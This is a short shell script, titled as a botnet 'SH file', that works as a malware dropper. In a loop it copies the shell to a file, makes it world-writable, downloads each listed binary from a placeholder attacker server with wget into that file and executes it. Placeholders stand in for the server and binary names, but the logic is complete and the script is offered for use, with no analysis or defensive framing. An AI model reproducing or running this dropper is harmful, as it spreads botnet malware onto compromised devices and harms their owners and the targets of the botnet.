[ BASH ] Botnet SH Files (wget) | Small

#!/bin/sh
u="KETASHI"
bin_names="BINARIES HERE"
http_server="IP"
http_port=80
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u
done